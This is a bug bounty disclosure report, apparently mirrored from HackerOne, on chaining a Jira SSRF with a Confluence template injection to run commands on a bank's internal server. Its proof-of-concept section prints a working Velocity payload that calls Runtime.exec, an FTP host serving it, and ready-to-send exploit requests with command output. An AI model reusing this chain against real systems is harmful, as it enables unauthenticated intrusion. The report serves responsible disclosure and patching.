Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
hackeroneAlexeypetrenkoH1:713900
HistoryOct 14, 2019 - 12:47 p.m.

QIWI: Unauthenticated SSRF in jira.tochka.com leading to RCE in confluence.bank24.int

2019-10-1412:47:27
alexeypetrenko
hackerone.com
173

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

JSON

Summary

This report describes a combination of two separate vulnerabilities in two separate services. This chain of vulnerabilities allows unauthenticated attacker to run arbitrary code on a server inside the companyโ€™s internal network.

Vulnerability 1

Jira at https://jira.tochka.com is vulnerable to SSRF in the /plugins/servlet/gadgets/makeRequest resource - CVE-2019-8451.
Anyone on the internet can make it issue arbitrary HTTPS requests and read responses.

Moreover:

  • Any number of arbitrary HTTP headers can be specified in request.
  • Requests are not limited by type.
    • POST and GET requests are supported.

This allows an attacker to reach internal instance of Confluence https://confluence.bank24.int.

Vulnerability 2

Confluence at https://confluence.bank24.int, uses a vulnerable version of a Widget Connector plugin. This vulnerability leads to an RCE (CVE-2019-3396).

There is an advisory by Atlassian. Also, there is a publicly known exploit to this vulnerability.

Technical details

SSRF

Root cause

This bug could be used to send requests to an internal Confluence server https://confluence.bank24.int like so:

Request example:

POST /plugins/servlet/gadgets/makeRequest HTTP/1.1
Host: jira.tochka.com
User-Agent: curl/7.61.1
Accept: */*
X-Atlassian-Token: no-check
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Connection: close

url=https://jira.tochka.com:[email protected]

Response snippet:

throw 1; < don't be evil' >{"https://jira.tochka.com:[email protected]":{"rc":200,"headers":{},"body":"<!DOCTYPE html>\n<html>\n<head>\n                    <title>ะ ะฐะฑะพั‡ะธะน ัั‚ะพะป - Confluence<\/title>\n    \n        \n\n                        \n    \n                        \n    \n\n    \n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=EDGE,chrome=IE7\">\n<meta charset=\"UTF-8\">\n<meta id=\"confluence-context-path\" name=\"confluence-context-path\" content=\"\">\n<meta id=\"confluence-base-url\" name=\"confluence-base-url\" content=\"https://confluence.bank24.int\">\n\n<meta id=\"atlassian-token\" name=\"atlassian-token\" content=\"f999fa99a5663c168e72b407eecdeec3695c70d0\">\n\n\n<script type=\"text/javascript\">\n        var contextPath = '';\n<\/script>\n\n    \n\n    <meta name=\"confluence-request-time\" content=\"1571051898165\">\n        \n    \n        \n            <meta name=\"ajs-discovered-plugin-features\" content=\"$discoveredList\">\n            <meta name=\"ajs-use-keyboard-shortcuts\" content=\"true\">\n            <meta name=\"ajs-keyboardshortcut-hash\" content=\"97637bc20dfc7a1f15684630bc99897\">\n            <meta id=\"team-calendars-has-jira-link\" content=\"true\">\n            <meta name=\"ajs-team-calendars-display-time-format\" content=\"displayTimeFormat24\">\n            <meta id=\"team-calendars-display-week-number\" content=\"false\">\n            <meta
...

Widget connector RCE

Vulnerability details

  • Confluence plugin preview functionality (https://confluence.bank24.int/rest/tinymce/1/macro/preview) is available without any authentification by design.
  • Vulnerable plugin allows to specify a path to a server side template which is rendered.
  • This path could be a URL
  • Following schemes are supported:
    • http
    • https
    • file
    • ftp

Attack scenario

  • Attacker hosts malicious template somewhere on the internet
  • Attacker triggers plugin preview functionality with template parameter pointing to this template
  • Malicious template is fetched and evaluated on a confluence server.

It looks that you have restrictions in place for outgoing HTTP and HTTPS requests, but not for FTP.

PoC

I set up an FTP server to serve a malicious template at ftp://68.183.67.159/qwe2.txt

File contents is:

#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end
3232

It takes command parameter, executes corresponding command and returns the result back.

To trigger this chain of vulnerabilities execute following request:

POST /plugins/servlet/gadgets/makeRequest HTTP/1.1
Host: jira.tochka.com
User-Agent: curl/7.61.1
Accept: */*
X-Atlassian-Token: no-check
Content-Length: 322
Content-Type: application/x-www-form-urlencoded
Connection: close

url=https://jira.tochka.com:[email protected]/rest/tinymce/1/macro/preview&httpMethod=POST&headers=content-type%3Dapplication/json&postData={"contentId":"1","macro":{"body":"","params":{"url":"https://www.youtube.com/watch?v=y6sOtXOvchY","_template":"ftp://68.183.67.159/qwe2.txt","command":"id"},"name":"widget"}}

It makes Jira to send a macro preview request to the Confluence. Confluence then fetches a template from FTP server and executes id command

Response snippet:

...
<div>\n                   uid=502(confluence) gid=502(confluence) groups=502(confluence) context=unconfined_u:system_r:initrc_t:s0\n\r\n3232\r\n\n            &lt;\/div&gt;\n
...

You may change command parameter to your liking.

Mitigation recommendation

  • Upgrade Jira to version 7.13.9 or 8.4.0.
  • Update Confluence installation to use Widget Connector plugin version 3.1.4 or higher.

Impact

This chain of vulnerabilities allows unauthenticated attacker to run arbitrary code on a server inside the companyโ€™s internal network.

Related

githubexploit 11
kitploit 2
nuclei 2
hackerone 5
atlassian 7
cve 2
checkpoint_advisories 2
prion 2
nessus 9
fireeye 3
packetstorm 2
trendmicroblog 2
metasploit 1
attackerkb 3
threatpost 3
securelist 1
dsquare 1
zdt 1
canvas 1
cisa_kev 1
exploitdb 2
thn 2
qualysblog 3
ics 2
githubexploit
githubexploit
Exploit for Server-Side Request Forgery in Atlassian Jira Server
2019-09-16 10:39:40
Exploit for Server-Side Request Forgery in Atlassian Jira Server
2019-09-26 05:06:11
Exploit for Server-Side Request Forgery in Atlassian Jira Server
2019-09-28 01:01:26
kitploit
kitploit
Jaeles - The Swiss Army Knife For Automated Web Application Testing
2019-11-16 13:42:00
Jaeles v0.4 - The Swiss Army Knife For Automated Web Application Testing
2020-02-05 20:30:00
nuclei
nuclei
Jira <8.4.0 - Server-Side Request Forgery
2020-07-06 14:52:34
Atlassian Confluence Server - Path Traversal
2020-07-07 07:24:27
hackerone
hackerone
Mail.ru: SSRF at jira.plazius.ru - CVE-2019-8451
2020-06-17 13:55:10
Mail.ru: Path traversal, SSTI and RCE on a MailRu acquisition
2019-04-11 20:10:37
Mail.ru: RCE on shared.mail.ru due to "widget" plugin
2019-03-29 10:45:58
atlassian
atlassian
SSRF in the /plugins/servlet/gadgets/makeRequest resource - CVE-2019-8451
2019-08-12 02:44:50
SSRF in the /plugins/servlet/gadgets/makeRequest resource - CVE-2019-8451
2019-08-12 02:44:50
SSRF in the /plugins/servlet/gadgets/makeRequest resource - CVE-2019-8451
2019-09-25 04:55:29
cve
cve
CVE-2019-8451
2019-09-11 14:15:00
CVE-2019-3396
2019-03-25 19:29:00
checkpoint_advisories
checkpoint_advisories
Jira Server-Side Request Forgery (CVE-2019-8451)
2022-05-30 00:00:00
Atlassian Confluence and Data Center Remote Code Execution (CVE-2019-3396)
2019-04-14 00:00:00
prion
prion
Path traversal
2019-03-25 19:29:00
Server side request forgery (ssrf)
2019-09-11 14:15:00
nessus
nessus
Atlassian Confluence < 6.6.12 / 6.7.x < 6.12.3 / 6.13.x < 6.13.3 / 6.14.x < 6.14.2 Template Injection
2019-04-11 00:00:00
Atlassian Confluence < 6.6.12 Multiple Vulnerabilities
2019-07-17 00:00:00
Atlassian Confluence 6.7.x < 6.12.3 Multiple Vulnerabilities
2019-07-17 00:00:00
fireeye
fireeye
GAME OVER: Detecting and Stopping an APT41 Operation
2019-08-19 00:00:00
This Isย Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits
2020-03-25 00:00:00
Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation โ€” Intelligence for Vulnerability Management, Part Two
2020-04-13 00:00:00
packetstorm
packetstorm
Atlassian Confluence Widget Connector Macro Velocity Template Injection
2019-04-18 00:00:00
Atlassian Confluence 6.12.1 Template Injection
2021-01-22 00:00:00
trendmicroblog
trendmicroblog
This Week in Security News: BEC Attacks and Botnet Malware
2019-05-03 14:00:25
This Week in Security News: Skimming Attacks and Ransomware
2019-05-10 13:00:42
metasploit
metasploit
Atlassian Confluence Widget Connector Macro Velocity Template Injection
2019-04-11 12:55:51
attackerkb
attackerkb
CVE-2019-3396
2019-10-30 00:00:00
CVE-2019-8451
2019-09-11 00:00:00
Confluence Unauthorized RCE Vulnerability
2019-03-25 00:00:00
threatpost
threatpost
Lazarus Group Surfaces with Advanced Malware Framework
2020-07-22 16:43:44
Hezbollah-Linked Lebanese Cedar APT Infiltrates Hundreds of Servers
2021-02-01 21:18:09
Bug Parade: NSA Warns on Cresting China-Backed Cyberattacks
2020-10-21 20:31:17
securelist
securelist
MATA: Multi-platform targeted malware framework
2020-07-22 10:00:57
dsquare
dsquare
Confluence File Disclosure
2019-03-28 00:00:00
zdt
zdt
Atlassian Confluence Widget Connector Macro Velocity Template Injection Exploit
2019-04-18 00:00:00
canvas
canvas
Immunity Canvas: CONFLUENCE_MACRO_LFI
2019-03-25 19:29:00
cisa_kev
cisa_kev
Atlassian Confluence Server and Data Center Server-Side Template Injection Vulnerability
2021-11-03 00:00:00
exploitdb
exploitdb
Atlassian Confluence Widget Connector Macro - SSTI
2021-01-22 00:00:00
Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)
2019-04-19 00:00:00
thn
thn
Hezbollah Hacker Group Targeted Telecoms, Hosting, ISPs Worldwide
2021-01-29 10:08:00
Top 30 Critical Security Vulnerabilities Most Exploited by Hackers
2021-07-29 08:21:00
qualysblog
qualysblog
Identify Server-Side Attacks Using Qualys Periscope
2022-12-01 23:11:35
Top 19+ Vulnerability CVEs in Santaโ€™s Dashboard Tracking
2019-12-27 18:01:22
NSA Alert: Chinese State-Sponsored Actors Exploit Known Vulnerabilities
2020-10-22 23:10:29
ics
ics
Top Routinely Exploited Vulnerabilities
2021-08-20 12:00:00
Potential for China Cyber Response to Heightened U.S.โ€“China Tensions
2020-10-20 12:00:00

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

JSON
Related for H1:713900
githubexploit11kitploit2nuclei2hackerone5atlassian7cve2checkpoint_advisories2prion2nessus9fireeye3packetstorm2trendmicroblog2metasploit1attackerkb3threatpost3securelist1dsquare1zdt1canvas1cisa_kev1exploitdb2thn2qualysblog3ics2